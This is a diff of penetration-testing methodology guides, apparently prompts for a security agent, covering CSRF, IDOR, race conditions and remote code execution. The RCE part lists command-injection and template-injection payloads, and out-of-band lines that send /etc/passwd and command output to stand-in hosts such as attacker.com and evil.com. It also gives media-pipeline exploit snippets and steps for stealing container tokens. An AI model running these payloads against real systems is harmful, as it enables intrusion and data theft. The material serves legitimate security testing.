<remember>Modern CSRF requires creativity - look for token leaks, chain with other vulnerabilities, and focus on high-impact actions. SameSite cookies are not always properly configured.</remember>
<remember>CSRF is eliminated only when state changes require a secret the attacker cannot supply and the server verifies the callers origin. Tokens and Origin checks must hold across methods, content-types, and transports.</remember>
</csrf_vulnerability_guide>

View File

@@ -1,164 +1,195 @@
<idor_vulnerability_guide>
<title>INSECURE DIRECT OBJECT REFERENCE (IDOR) - ELITE TECHNIQUES</title>
<title>INSECURE DIRECT OBJECT REFERENCE (IDOR)</title>
<critical>IDORs are among the HIGHEST IMPACT vulnerabilities - direct unauthorized data access and account takeover.</critical>
<critical>Object- and function-level authorization failures (BOLA/IDOR) routinely lead to cross-account data exposure and unauthorized state changes across APIs, web, mobile, and microservices. Treat every object reference as untrusted until proven bound to the caller.</critical>
<scope>
- Horizontal access: access another subject's objects of the same type
- Vertical access: access privileged objects/actions (admin-only, staff-only)
- Cross-tenant access: break isolation boundaries in multi-tenant systems
- Cross-service access: token or context accepted by the wrong service
</scope>
<methodology>
1. Build a Subject × Object × Action matrix (who can do what to which resource).
2. For each resource type, obtain at least two principals: owner and non-owner (plus admin/staff if applicable). Capture at least one valid object ID per principal.
3. Exercise every action (R/W/D/Export) while swapping IDs, tokens, tenants, and channels (web, mobile, API, GraphQL, WebSocket, gRPC).
4. Track consistency: the same rule must hold regardless of transport, content-type, serialization, or gateway.
</methodology>
<discovery_techniques>
<parameter_analysis>
- Numeric IDs: user_id=123, account=456
- UUID/GUID patterns: id=550e8400-e29b-41d4-a716-446655440000
- Encoded IDs: Base64, hex, custom encoding
- Composite IDs: user-org-123-456, ACCT:2024:00123
- Hash-based IDs: Check if predictable (MD5 of sequential numbers)
- Object references in: URLs, POST bodies, headers, cookies, JWT tokens
- Object references appear in: paths, query params, JSON bodies, form-data, headers, cookies, JWT claims, GraphQL arguments, WebSocket messages, gRPC messages
- Identifier forms: integers, UUID/ULID/CUID, Snowflake, slugs, composite keys (e.g., {orgId}:{userId}), opaque tokens, base64/hex-encoded blobs
- Relationship references: parentId, ownerId, accountId, tenantId, organization, teamId, projectId, subscriptionId
- Expansion/projection knobs: fields, include, expand, projection, with, select, populate (often bypass authorization in resolvers or serializers)
- Pagination/cursors: page[offset], page[limit], cursor, nextPageToken (often reveal or accept cross-tenant/state)
</parameter_analysis>
<advanced_enumeration>
- Boundary values: 0, -1, null, empty string, max int
- Different formats: {% raw %}{"id":123} vs {"id":"123"}{% endraw %}
- ID patterns: increment, decrement, similar patterns
- Wildcard testing: *, %, _, all
- Array notation: id[]=123&id[]=456
- Alternate types: {% raw %}{"id":123}{% endraw} vs {% raw %}{"id":"123"}{% endraw}, arrays vs scalars, objects vs scalars, null/empty/0/-1/MAX_INT, scientific notation, overflows, unknown attributes retained by backend
- Duplicate keys/parameter pollution: id=1&id=2, JSON duplicate keys {% raw %}{"id":1,"id":2}{% endraw} (parser precedence differences)
- Case/aliasing: userId vs userid vs USER_ID; alt names like resourceId, targetId, account
- Path traversal-like in virtual file systems: /files/user_123/../../user_456/report.csv
- Directory/list endpoints as seeders: search/list/suggest/export often leak object IDs for secondary exploitation
</advanced_enumeration>
</discovery_techniques>
<high_value_targets>
- User profiles and PII
- Financial records/transactions
- Private messages/communications
- Medical records
- API keys/secrets
- Internal documents
- Admin functions
- Export endpoints
- Backup files
- Debug information
- Exports/backups/reporting endpoints (CSV/PDF/ZIP)
- Messaging/mailbox/notifications, audit logs, activity feeds
- Billing: invoices, payment methods, transactions, credits
- Healthcare/education records, HR documents, PII/PHI/PCI
- Admin/staff tools, impersonation/session management
- File/object storage keys (S3/GCS signed URLs, share links)
- Background jobs: import/export job IDs, task results
- Multi-tenant resources: organizations, workspaces, projects
</high_value_targets>
<exploitation_techniques>
<direct_access>
Simple increment/decrement:
/api/user/123 → /api/user/124
/download?file=report_2024_01.pdf → report_2024_02.pdf
</direct_access>
<horizontal_vertical>
- Swap object IDs between principals using the same token to probe horizontal access; then repeat with lower-privilege tokens to probe vertical access
- Target partial updates (PATCH, JSON Patch/JSON Merge Patch) for silent unauthorized modifications
</horizontal_vertical>
<mass_enumeration>
Automate ID ranges:
for i in range(1, 10000):
/api/user/{i}/data
</mass_enumeration>
<bulk_and_batch>
- Batch endpoints (bulk update/delete) often validate only the first element; include cross-tenant IDs mid-array
- CSV/JSON imports referencing foreign object IDs (ownerId, orgId) may bypass create-time checks
</bulk_and_batch>
<type_confusion>
- String where int expected: "123" vs 123
- Array where single value expected: [123] vs 123
- Object injection: {% raw %}{"id": {"$ne": null}}{% endraw %}
</type_confusion>
<secondary_idor>
- Use list/search endpoints, notifications, emails, webhooks, and client logs to collect valid IDs, then fetch or mutate those objects directly
- Pagination/cursor manipulation to skip filters and pull other users' pages
</secondary_idor>
<job_task_objects>
- Access job/task IDs from one user to retrieve results for another (export/{jobId}/download, reports/{taskId})
- Cancel/approve someone else's jobs by referencing their task IDs
</job_task_objects>
<file_object_storage>
- Direct object paths or weakly scoped signed URLs; attempt key prefix changes, content-disposition tricks, or stale signatures reused across tenants
- Replace share tokens with tokens from other tenants; try case/URL-encoding variations
</file_object_storage>
</exploitation_techniques>
<advanced_techniques>
<uuid_prediction>
- Time-based UUIDs (version 1): predictable timestamps
- Weak randomness in version 4
- Sequential UUID generation
</uuid_prediction>
<graphql>
- Enforce resolver-level checks: do not rely on a top-level gate. Verify field and edge resolvers bind the resource to the caller on every hop
- Abuse batching/aliases to retrieve multiple users' nodes in one request and compare responses
- Global node patterns (Relay): decode base64 IDs and swap raw IDs; test {% raw %}node(id: "...base64..."){...}{% endraw %}
- Overfetching via fragments on privileged types; verify hidden fields cannot be queried by unprivileged callers
- Example:
{% raw %}
query IDOR {
me { id }
u1: user(id: "VXNlcjo0NTY=") { email billing { last4 } }
u2: node(id: "VXNlcjo0NTc=") { ... on User { email } }
}
{% endraw %}
</graphql>
<blind_idor>
- Side channel: response time, size differences
- Error message variations
- Boolean-based: exists vs not exists
</blind_idor>
<microservices_gateways>
- Token confusion: a token scoped for Service A accepted by Service B due to shared JWT verification but missing audience/claims checks
- Trust on headers: reverse proxies or API gateways injecting/trusting headers like X-User-Id, X-Organization-Id; try overriding or removing them
- Context loss: async consumers (queues, workers) re-process requests without re-checking authorization
</microservices_gateways>
<secondary_idor>
First get list of IDs, then access:
/api/users → [123, 456, 789]
/api/user/789/private-data
</secondary_idor>
<multi_tenant>
- Probe tenant scoping through headers, subdomains, and path params (e.g., X-Tenant-ID, org slug). Try mixing org of token with resource from another org
- Test cross-tenant reports/analytics rollups and admin views which aggregate multiple tenants
</multi_tenant>
<uuid_and_opaque_ids>
- UUID/ULID are not authorization: acquire valid IDs from logs, exports, JS bundles, analytics endpoints, emails, or public activity, then test ownership binding
- Time-based IDs (UUIDv1, ULID) may be guessable within a window; combine with leakage sources for targeted access
</uuid_and_opaque_ids>
<blind_channels>
- Use differential responses (status, size, ETag, timing) to detect existence; error shape often differs for owned vs foreign objects
- HEAD/OPTIONS, conditional requests (If-None-Match/If-Modified-Since) can confirm existence without full content
</blind_channels>
</advanced_techniques>
<bypass_techniques>
<parser_and_transport>
- Content-type switching: application/json ↔ application/x-www-form-urlencoded ↔ multipart/form-data; some paths enforce checks per parser
- Method tunneling: X-HTTP-Method-Override, _method=PATCH; or using GET on endpoints incorrectly accepting state changes
- JSON duplicate keys/array injection to bypass naive validators
</parser_and_transport>
<parameter_pollution>
?id=123&id=456 (takes last or first?)
?user_id=victim&user_id=attacker
- Duplicate parameters in query/body to influence server-side precedence (id=123&id=456); try both orderings
- Mix case/alias param names so gateway and backend disagree (userId vs userid)
</parameter_pollution>
<encoding_tricks>
- URL encode: %31%32%33
- Double encoding: %25%33%31
- Unicode: \u0031\u0032\u0033
</encoding_tricks>
<cache_and_gateway>
- CDN/proxy key confusion: responses keyed without Authorization or tenant headers expose cached objects to other users; manipulate Vary and Accept
- Redirect chains and 304/206 behaviors can leak content across tenants
</cache_and_gateway>
<case_variation>
userId vs userid vs USERID vs UserId
</case_variation>
<format_switching>
/api/user.json?id=123
/api/user.xml?id=123
/api/user/123.json vs /api/user/123
</format_switching>
<race_windows>
- Time-of-check vs time-of-use: change the referenced ID between validation and execution using parallel requests
</race_windows>
</bypass_techniques>
<special_contexts>
<graphql_idor>
Query batching and alias abuse:
query { u1: user(id: 123) { data } u2: user(id: 456) { data } }
</graphql_idor>
<websocket>
- Authorization per-subscription: ensure channel/topic names cannot be guessed (user_{id}, org_{id}); subscribe/publish checks must run server-side, not only at handshake
- Try sending messages with target user IDs after subscribing to own channels
</websocket>
<websocket_idor>
Subscribe to other users' channels:
{% raw %}{"subscribe": "user_456_notifications"}{% endraw %}
</websocket_idor>
<grpc>
- Direct protobuf fields (owner_id, tenant_id) often bypass HTTP-layer middleware; validate references via grpcurl with tokens from different principals
</grpc>
<file_path_idor>
../../../other_user/private.pdf
/files/user_123/../../user_456/data.csv
</file_path_idor>
<integrations>
- Webhooks/callbacks referencing foreign objects (e.g., invoice_id) processed without verifying ownership
- Third-party importers syncing data into wrong tenant due to missing tenant binding
</integrations>
</special_contexts>
<chaining_attacks>
- IDOR + XSS: Access and weaponize other users' data
- IDOR + CSRF: Force actions on discovered objects
- IDOR + SQLi: Extract all IDs then access
- IDOR + CSRF: force victims to trigger unauthorized changes on objects you discovered
- IDOR + Stored XSS: pivot into other users' sessions through data you gained access to
- IDOR + SSRF: exfiltrate internal IDs, then access their corresponding resources
- IDOR + Race: bypass spot checks with simultaneous requests
</chaining_attacks>
<validation>
To confirm IDOR:
1. Access data/function without authorization
2. Demonstrate data belongs to another user
3. Show consistent access pattern
4. Prove it's not intended functionality
5. Document security impact
1. Demonstrate access to an object not owned by the caller (content or metadata).
2. Show the same request fails with appropriately enforced authorization when corrected.
3. Prove cross-channel consistency: same unauthorized access via at least two transports (e.g., REST and GraphQL).
4. Document tenant boundary violations (if applicable).
5. Provide reproducible steps and evidence (requests/responses for owner vs non-owner).
</validation>
<false_positives>
NOT IDOR if:
- Public data by design
- Proper authorization checks
- Only affects own resources
- Rate limiting prevents exploitation
- Data is sanitized/limited
- Public/anonymous resources by design
- Soft-privatized data where content is already public
- Idempotent metadata lookups that do not reveal sensitive content
- Correct row-level checks enforced across all channels
</false_positives>
<impact>
- Personal data exposure
- Financial information theft
- Account takeover
- Business data leak
- Compliance violations (GDPR, HIPAA)
- Cross-account data exposure (PII/PHI/PCI)
- Unauthorized state changes (transfers, role changes, cancellations)
- Cross-tenant data leaks violating contractual and regulatory boundaries
- Regulatory risk (GDPR/HIPAA/PCI), fraud, reputational damage
</impact>
<pro_tips>
1. Test all ID parameters systematically
2. Look for patterns in IDs
3. Check export/download functions
4. Test different HTTP methods
5. Monitor for blind IDOR via timing
6. Check mobile APIs separately
7. Look for backup/debug endpoints
8. Test file path traversal
9. Automate enumeration carefully
10. Chain with other vulnerabilities
1. Always test list/search/export endpoints first; they are rich ID seeders.
2. Build a reusable ID corpus from logs, notifications, emails, and client bundles.
3. Toggle content-types and transports; authorization middleware often differs per stack.
4. In GraphQL, validate at resolver boundaries; never trust parent auth to cover children.
5. In multi-tenant apps, vary org headers, subdomains, and path params independently.
6. Check batch/bulk operations and background job endpoints; they frequently skip per-item checks.
7. Inspect gateways for header trust and cache key configuration.
8. Treat UUIDs as untrusted; obtain them via OSINT/leaks and test binding.
9. Use timing/size/ETag differentials for blind confirmation when content is masked.
10. Prove impact with precise before/after diffs and role-separated evidence.
</pro_tips>
<remember>IDORs are about broken access control, not just guessable IDs. Even GUIDs can be vulnerable if disclosed elsewhere. Focus on high-impact data access.</remember>
<remember>Authorization must bind subject, action, and specific object on every request, regardless of identifier opacity or transport. If the binding is missing anywhere, the system is vulnerable.</remember>
</idor_vulnerability_guide>

View File

@@ -1,194 +1,164 @@
<race_conditions_guide>
<title>RACE CONDITIONS - TIME-OF-CHECK TIME-OF-USE (TOCTOU) MASTERY</title>
<title>RACE CONDITIONS</title>
<critical>Race conditions lead to financial fraud, privilege escalation, and business logic bypass. Often overlooked but devastating.</critical>
<critical>Concurrency bugs enable duplicate state changes, quota bypass, financial abuse, and privilege errors. Treat every readmodifywrite and multi-step workflow as adversarially concurrent.</critical>
<high_value_targets>
- Payment/checkout processes
- Coupon/discount redemption
- Account balance operations
- Voting/rating systems
- Limited resource allocation
- User registration (username claims)
- Password reset flows
- File upload/processing
- API rate limits
- Loyalty points/rewards
- Stock/inventory management
- Withdrawal functions
</high_value_targets>
<scope>
- Readmodifywrite sequences without atomicity or proper locking
- Multi-step operations (check → reserve → commit) with gaps between phases
- Cross-service workflows (sagas, async jobs) with eventual consistency
- Rate limits, quotas, and idempotency controls implemented at the edge only
</scope>
<methodology>
1. Model invariants for each workflow (e.g., conservation of value, uniqueness, maximums). Identify reads and writes and where they occur (service, DB, cache).
2. Establish a baseline with single requests. Then issue concurrent requests with identical inputs. Observe deltas in state and responses.
3. Scale and synchronize: ramp up parallelism, switch transports (HTTP/1.1, HTTP/2), and align request timing (last-byte sync, warmed connections).
4. Repeat across channels (web, API, GraphQL, WebSocket) and roles. Confirm durability and reproducibility.
</methodology>
<discovery_techniques>
<identify_race_windows>
Multi-step processes with gaps between:
1. Check phase (validation/verification)
2. Use phase (action execution)
3. Write phase (state update)
Look for:
- "Check balance then deduct"
- "Verify coupon then apply"
- "Check inventory then purchase"
- "Validate token then consume"
- Look for explicit sequences in code or docs: "check balance then deduct", "verify coupon then apply", "check inventory then purchase", "validate token then consume"
- Watch for optimistic concurrency markers: ETag/If-Match, version fields, updatedAt checks; test if they are enforced
- Examine idempotency-key support: scope (path vs principal), TTL, and persistence (cache vs DB)
- Map cross-service steps: when is state written vs published, and what retries/compensations exist
</identify_race_windows>
<detection_methods>
- Parallel requests with same data
- Rapid sequential requests
- Monitor for inconsistent states
- Database transaction analysis
- Response timing variations
</detection_methods>
<signals>
- Sequential request fails but parallel succeeds
- Duplicate rows, negative counters, over-issuance, or inconsistent aggregates
- Distinct response shapes/timings for simultaneous vs sequential requests
- Audit logs out of order; multiple 2xx for the same intent; missing or duplicate correlation IDs
</signals>
<surface_map>
- Payments: auth/capture/refund/void; credits/loyalty points; gift cards
- Coupons/discounts: single-use codes, stacking checks, per-user limits
- Quotas/limits: API usage, inventory reservations, seat counts, vote limits
- Auth flows: password reset/OTP consumption, session minting, device trust
- File/object storage: multi-part finalize, version writes, share-link generation
- Background jobs: export/import create/finalize endpoints; job cancellation/approve
- GraphQL mutations and batch operations; WebSocket actions
</surface_map>
</discovery_techniques>
<exploitation_tools>
<turbo_intruder>
Python script for Burp Suite Turbo Intruder:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=False)
<exploitation_techniques>
<request_synchronization>
- HTTP/2 multiplexing for tight concurrency; send many requests on warmed connections
- Last-byte synchronization: hold requests open and release final byte simultaneously
- Connection warming: pre-establish sessions, cookies, and TLS to remove jitter
</request_synchronization>
for i in range(30):
engine.queue(target.req, gate='race1')
<idempotency_and_dedup_bypass>
- Reuse the same idempotency key across different principals/paths if scope is inadequate
- Hit the endpoint before the idempotency store is written (cache-before-commit windows)
- App-level dedup drops only the response while side effects (emails/credits) still occur
</idempotency_and_dedup_bypass>
engine.openGate('race1')
```
</turbo_intruder>
<atomicity_gaps>
- Lost update: read-modify-write increments without atomic DB statements
- Partial two-phase workflows: success committed before validation completes
- Unique checks done outside a unique index/upsert: create duplicates under load
</atomicity_gaps>
<manual_methods>
- Browser developer tools (multiple tabs)
- curl with & for background: curl url & curl url &
- Python asyncio/aiohttp
- Go routines
- Node.js Promise.all()
</manual_methods>
</exploitation_tools>
<cross_service_races>
- Saga/compensation timing gaps: execute compensation without preventing the original success path
- Eventual consistency windows: act in Service B before Service A's write is visible
- Retry storms: duplicate side effects due to at-least-once delivery without idempotent consumers
</cross_service_races>
<common_vulnerabilities>
<financial_races>
- Double withdrawal
- Multiple discount applications
- Balance transfer duplication
- Payment bypass
- Cashback multiplication
</financial_races>
<authentication_races>
- Multiple password resets
- Account creation with same email
- 2FA bypass
- Session generation collision
</authentication_races>
<resource_races>
- Inventory depletion bypass
- Rate limit circumvention
- File overwrite
- Token reuse
</resource_races>
</common_vulnerabilities>
<rate_limits_and_quotas>
- Per-IP or per-connection enforcement: bypass with multiple IPs/sessions
- Counter updates not atomic or sharded inconsistently; send bursts before counters propagate
</rate_limits_and_quotas>
</exploitation_techniques>
<advanced_techniques>
<single_packet_attack>
HTTP/2 multiplexing for true simultaneous delivery:
- All requests in single TCP packet
- Microsecond precision
- Bypass even mutex locks
</single_packet_attack>
<optimistic_concurrency_evasion>
- Omit If-Match/ETag where optional; supply stale versions if server ignores them
- Version fields accepted but not validated across all code paths (e.g., GraphQL vs REST)
</optimistic_concurrency_evasion>
<last_byte_sync>
Send all but last byte, then:
1. Hold connections open
2. Send final byte simultaneously
3. Achieve nanosecond precision
</last_byte_sync>
<database_isolation>
- Exploit READ COMMITTED/REPEATABLE READ anomalies: phantoms, non-serializable sequences
- Upsert races: use unique indexes with proper ON CONFLICT/UPSERT or exploit naive existence checks
- Lock granularity issues: row vs table; application locks held only in-process
</database_isolation>
<connection_warming>
Pre-establish connections:
1. Create connection pool
2. Prime with dummy requests
3. Send race requests on warm connections
</connection_warming>
<distributed_locks>
- Redis locks without NX/EX or fencing tokens allow multiple winners
- Locks stored in memory on a single node; bypass by hitting other nodes/regions
</distributed_locks>
</advanced_techniques>
<bypass_techniques>
<distributed_attacks>
- Multiple source IPs
- Different user sessions
- Varied request headers
- Geographic distribution
</distributed_attacks>
<timing_optimization>
- Measure server processing time
- Align requests with server load
- Exploit maintenance windows
- Target async operations
</timing_optimization>
- Distribute across IPs, sessions, and user accounts to evade per-entity throttles
- Switch methods/content-types/endpoints that trigger the same state change via different code paths
- Intentionally trigger timeouts to provoke retries that cause duplicate side effects
- Degrade the target (large payloads, slow endpoints) to widen race windows
</bypass_techniques>
<specific_scenarios>
<limit_bypass>
"Limited to 1 per user" → Send N parallel requests
Results: N successful purchases
</limit_bypass>
<special_contexts>
<graphql>
- Parallel mutations and batched operations may bypass per-mutation guards; ensure resolver-level idempotency and atomicity
- Persisted queries and aliases can hide multiple state changes in one request
</graphql>
<balance_manipulation>
Transfer $100 from account with $100 balance:
- 10 parallel transfers
- Each checks balance: $100 available
- All proceed: -$900 balance
</balance_manipulation>
<websocket>
- Per-message authorization and idempotency must hold; concurrent emits can create duplicates if only the handshake is checked
</websocket>
<vote_manipulation>
Single vote limit:
- Send multiple vote requests simultaneously
- All pass validation
- Multiple votes counted
</vote_manipulation>
</specific_scenarios>
<files_and_storage>
- Parallel finalize/complete on multi-part uploads can create duplicate or corrupted objects; re-use pre-signed URLs concurrently
</files_and_storage>
<auth_flows>
- Concurrent consumption of one-time tokens (reset codes, magic links) to mint multiple sessions; verify consume is atomic
</auth_flows>
</special_contexts>
<chaining_attacks>
- Race + Business logic: violate invariants (double-refund, limit slicing)
- Race + IDOR: modify or read others' resources before ownership checks complete
- Race + CSRF: trigger parallel actions from a victim to amplify effects
- Race + Caching: stale caches re-serve privileged states after concurrent changes
</chaining_attacks>
<validation>
To confirm race condition:
1. Demonstrate parallel execution success
2. Show single request fails
3. Prove timing dependency
4. Document financial/security impact
5. Achieve consistent reproduction
1. Single request denied; N concurrent requests succeed where only 1 should.
2. Durable state change proven (ledger entries, inventory counts, role/flag changes).
3. Reproducible under controlled synchronization (HTTP/2, last-byte sync) across multiple runs.
4. Evidence across channels (e.g., REST and GraphQL) if applicable.
5. Include before/after state and exact request set used.
</validation>
<false_positives>
NOT a race condition if:
- Idempotent operations
- Proper locking mechanisms
- Atomic database operations
- Queue-based processing
- No security impact
- Truly idempotent operations with enforced ETag/version checks or unique constraints
- Serializable transactions or correct advisory locks/queues
- Visual-only glitches without durable state change
- Rate limits that reject excess with atomic counters
</false_positives>
<impact>
- Financial loss (double spending)
- Resource exhaustion
- Data corruption
- Business logic bypass
- Privilege escalation
- Financial loss (double spend, over-issuance of credits/refunds)
- Policy/limit bypass (quotas, single-use tokens, seat counts)
- Data integrity corruption and audit trail inconsistencies
- Privilege or role errors due to concurrent updates
</impact>
<pro_tips>
1. Use HTTP/2 for better synchronization
2. Automate with Turbo Intruder
3. Test payment flows extensively
4. Monitor database locks
5. Try different concurrency levels
6. Test async operations
7. Look for compensating transactions
8. Check mobile app endpoints
9. Test during high load
10. Document exact timing windows
1. Favor HTTP/2 with warmed connections; add last-byte sync for precision.
2. Start small (N=520), then scale; too much noise can mask the window.
3. Target readmodifywrite code paths and endpoints with idempotency keys.
4. Compare REST vs GraphQL vs WebSocket; protections often differ.
5. Look for cross-service gaps (queues, jobs, webhooks) and retry semantics.
6. Check unique constraints and upsert usage; avoid relying on pre-insert checks.
7. Use correlation IDs and logs to prove concurrent interleaving.
8. Widen windows by adding server load or slow backend dependencies.
9. Validate on production-like latency; some races only appear under real load.
10. Document minimal, repeatable request sets that demonstrate durable impact.
</pro_tips>
<remember>Modern race conditions require microsecond precision. Focus on financial operations and limited resource allocation. Single-packet attacks are most reliable.</remember>
<remember>Concurrency safety is a property of every path that mutates state. If any path lacks atomicity, proper isolation, or idempotency, parallel requests will eventually break invariants.</remember>
</race_conditions_guide>

View File

@@ -1,206 +1,154 @@
<rce_vulnerability_guide>
<title>REMOTE CODE EXECUTION (RCE) - MASTER EXPLOITATION</title>
<title>REMOTE CODE EXECUTION (RCE)</title>
<critical>RCE is the holy grail - complete system compromise. Modern RCE requires sophisticated bypass techniques.</critical>
<critical>RCE leads to full server control when input reaches code execution primitives: OS command wrappers, dynamic evaluators, template engines, deserializers, media pipelines, and build/runtime tooling. Focus on quiet, portable oracles and chain to stable shells only when needed.</critical>
<common_injection_contexts>
- System commands: ping, nslookup, traceroute, whois
- File operations: upload, download, convert, resize
- PDF generators: wkhtmltopdf, phantomjs
- Image processors: ImageMagick, GraphicsMagick
- Media converters: ffmpeg, sox
- Archive handlers: tar, zip, 7z
- Version control: git, svn operations
- LDAP queries
- Database backup/restore
- Email sending functions
</common_injection_contexts>
<scope>
- OS command execution via wrappers (shells, system utilities, CLIs)
- Dynamic evaluation: template engines, expression languages, eval/vm
- Insecure deserialization and gadget chains across languages
- Media/document toolchains (ImageMagick, Ghostscript, ExifTool, LaTeX, ffmpeg)
- SSRF→internal services that expose execution primitives (FastCGI, Redis)
- Container/Kubernetes escalation from app RCE to node/cluster compromise
</scope>
<detection_methods>
<methodology>
1. Identify sinks: search for command wrappers, template rendering, deserialization, file converters, report generators, and plugin hooks.
2. Establish a minimal oracle: timing, DNS/HTTP callbacks, or deterministic output diffs (length/ETag). Prefer OAST over noisy time sleeps.
3. Confirm context: which user, working directory, PATH, shell, SELinux/AppArmor, containerization, read/write locations, outbound egress.
4. Progress to durable control: file write, scheduled execution, service restart hooks; avoid loud reverse shells unless necessary.
</methodology>
<detection_channels>
<time_based>
- Linux/Unix: ;sleep 10 # | sleep 10 # `sleep 10` $(sleep 10)
- Windows: & ping -n 10 127.0.0.1 & || ping -n 10 127.0.0.1 ||
- PowerShell: ;Start-Sleep -s 10 #
- Unix: ;sleep 1 | `sleep 1` || sleep 1; gate delays with short subcommands to reduce noise
- Windows CMD/PowerShell: & timeout /t 2 & | Start-Sleep -s 2 | ping -n 2 127.0.0.1
</time_based>
<dns_oob>
- nslookup $(whoami).attacker.com
- ping $(hostname).attacker.com
- curl http://$(cat /etc/passwd | base64).attacker.com
</dns_oob>
<oast>
- DNS: {% raw %}nslookup $(whoami).x.attacker.tld{% endraw %} or {% raw %}curl http://$(id -u).x.attacker.tld{% endraw %}
- HTTP beacon: {% raw %}curl https://attacker.tld/$(hostname){% endraw %} (or fetch to pre-signed URL)
</oast>
<output_based>
- Direct: ;cat /etc/passwd
- Encoded: ;cat /etc/passwd | base64
- Hex: ;xxd -p /etc/passwd
- Direct: ;id;uname -a;whoami
- Encoded: ;(id;hostname)|base64; hex via xxd -p
</output_based>
</detection_methods>
</detection_channels>
<command_injection_vectors>
<basic_payloads>
; id
| id
|| id
& id
&& id
`id`
$(id)
${IFS}id
</basic_payloads>
<command_injection>
<delimiters_and_operators>
- ; | || & && `cmd` $(cmd) $() ${IFS} newline/tab; Windows: & | || ^
</delimiters_and_operators>
<bypass_techniques>
- Space bypass: ${IFS}, $IFS$9, <, %09 (tab)
- Blacklist bypass: w'h'o'a'm'i, w"h"o"a"m"i
- Command substitution: $(a=c;b=at;$a$b /etc/passwd)
- Encoding: echo 'aWQ=' | base64 -d | sh
- Case variation: WhOaMi (Windows)
</bypass_techniques>
</command_injection_vectors>
<argument_injection>
- Inject flags/filenames into CLI arguments (e.g., --output=/tmp/x; --config=); break out of quoted segments by alternating quotes and escapes
- Environment expansion: $PATH, ${HOME}, command substitution; Windows %TEMP%, !VAR!, PowerShell $(...)
</argument_injection>
<language_specific_rce>
<php>
- eval() with user input
- system(), exec(), shell_exec(), passthru()
- preg_replace with /e modifier
- assert() with string input
- unserialize() exploitation
</php>
<path_and_builtin_confusion>
- Force absolute paths (/usr/bin/id) vs relying on PATH; prefer builtins or alternative tools (printf, getent) when id is filtered
- Use sh -c or cmd /c wrappers to reach the shell even if binaries are filtered
</path_and_builtin_confusion>
<python>
- eval(), exec()
- subprocess.call(shell=True)
- os.system()
- pickle deserialization
- yaml.load()
</python>
<evasion>
- Whitespace/IFS: ${IFS}, $'\t', <; case/Unicode variations; mixed encodings; backslash line continuations
- Token splitting: w'h'o'a'm'i, w"h"o"a"m"i; build via variables: a=i;b=d; $a$b
- Base64/hex stagers: echo payload | base64 -d | sh; PowerShell: IEX([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(...)))
</evasion>
</command_injection>
<java>
- Runtime.getRuntime().exec()
- ProcessBuilder
- ScriptEngine eval
- JNDI injection
- Expression Language injection
</java>
<template_injection>
- Identify server-side template engines: Jinja2/Twig/Blade/Freemarker/Velocity/Thymeleaf/EJS/Handlebars/Pug
- Move from expression to code execution primitives (read file, run command)
- Minimal probes:
{% raw %}
Jinja2: {{7*7}} → {{cycler.__init__.__globals__['os'].popen('id').read()}}
Twig: {{7*7}} → {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
Freemarker: ${7*7} → <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
EJS: <%= global.process.mainModule.require('child_process').execSync('id') %>
{% endraw %}
</template_injection>
<nodejs>
- eval()
- child_process.exec()
- vm.runInContext()
- require() pollution
</nodejs>
</language_specific_rce>
<deserialization_and_el>
- Java: gadget chains via CommonsCollections/BeanUtils/Spring; tools: ysoserial; JNDI/LDAP chains (Log4Shell-style) when lookups are reachable
- .NET: BinaryFormatter/DataContractSerializer/APIs that accept untrusted ViewState without MAC
- PHP: unserialize() and PHAR metadata; autoloaded gadget chains in frameworks and plugins
- Python/Ruby: pickle, yaml.load/unsafe_load, Marshal; seek auto-deserialization in message queues/caches
- Expression languages: OGNL/SpEL/MVEL/EL; reach Runtime/ProcessBuilder/exec
</deserialization_and_el>
<advanced_exploitation>
<polyglot_payloads>
Works in multiple contexts:
;id;#' |id| #" |id| #
{% raw %}${{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}{% endraw %}
</polyglot_payloads>
<media_and_document_pipelines>
- ImageMagick/GraphicsMagick: policy.xml may limit delegates; still test legacy vectors and complex file formats
{% raw %}
Example: push graphic-context\nfill 'url(https://x.tld/a"|id>/tmp/o")'\npop graphic-context
{% endraw %}
- Ghostscript: PostScript in PDFs/PS; {% raw %}%pipe%id{% endraw %} file operators
- ExifTool: crafted metadata invoking external tools or library bugs (historical CVEs)
- LaTeX: \write18/--shell-escape, \input piping; pandoc filters
- ffmpeg: concat/protocol tricks mediated by compile-time flags
</media_and_document_pipelines>
<blind_rce>
- DNS exfiltration: $(whoami).evil.com
- HTTP callbacks: curl evil.com/$(id)
- Time delays for boolean extraction
- Write to web root
</blind_rce>
<ssrf_to_rce>
- FastCGI: gopher:// to php-fpm (build FPM records to invoke system/exec via vulnerable scripts)
- Redis: gopher:// write cron/authorized_keys or webroot if filesystem exposed; or module load when allowed
- Admin interfaces: Jenkins script console, Spark UI, Jupyter kernels reachable internally
</ssrf_to_rce>
<chained_exploitation>
1. Command injection → Write webshell
2. File upload → LFI → RCE
3. XXE → SSRF → internal RCE
4. SQLi → INTO OUTFILE → RCE
</chained_exploitation>
</advanced_exploitation>
<specific_contexts>
<imagemagick>
push graphic-context
viewbox 0 0 640 480
fill 'url(https://evil.com/image.jpg"|id > /tmp/output")'
pop graphic-context
</imagemagick>
<ghostscript>
%!PS
/outfile (%pipe%id) (w) file def
</ghostscript>
<ffmpeg>
#EXTM3U
#EXT-X-TARGETDURATION:1
#EXTINF:1.0,
concat:|file:///etc/passwd
</ffmpeg>
<latex>
\immediate\write18{id > /tmp/pwn}
\input{|"cat /etc/passwd"}
</latex>
</specific_contexts>
<container_escapes>
<container_and_kubernetes>
<docker>
- Privileged containers: mount host filesystem
- Docker.sock exposure
- Kernel exploits
- /proc/self/exe overwrite
- From app RCE, inspect /.dockerenv, /proc/1/cgroup; enumerate mounts and capabilities (capsh --print)
- Abuses: mounted docker.sock, hostPath mounts, privileged containers; write to /proc/sys/kernel/core_pattern or mount host with --privileged
</docker>
<kubernetes>
- Service account tokens
- Kubelet API access
- Container breakout to node
- Steal service account token from /var/run/secrets/kubernetes.io/serviceaccount; query API for pods/secrets; enumerate RBAC
- Talk to kubelet on 10250/10255; exec into pods; list/attach if anonymous/weak auth
- Escalate via privileged pods, hostPath mounts, or daemonsets if permissions allow
</kubernetes>
</container_escapes>
</container_and_kubernetes>
<waf_bypasses>
- Unicode normalization
- Double URL encoding
- Case variation mixing
- Null bytes: %00
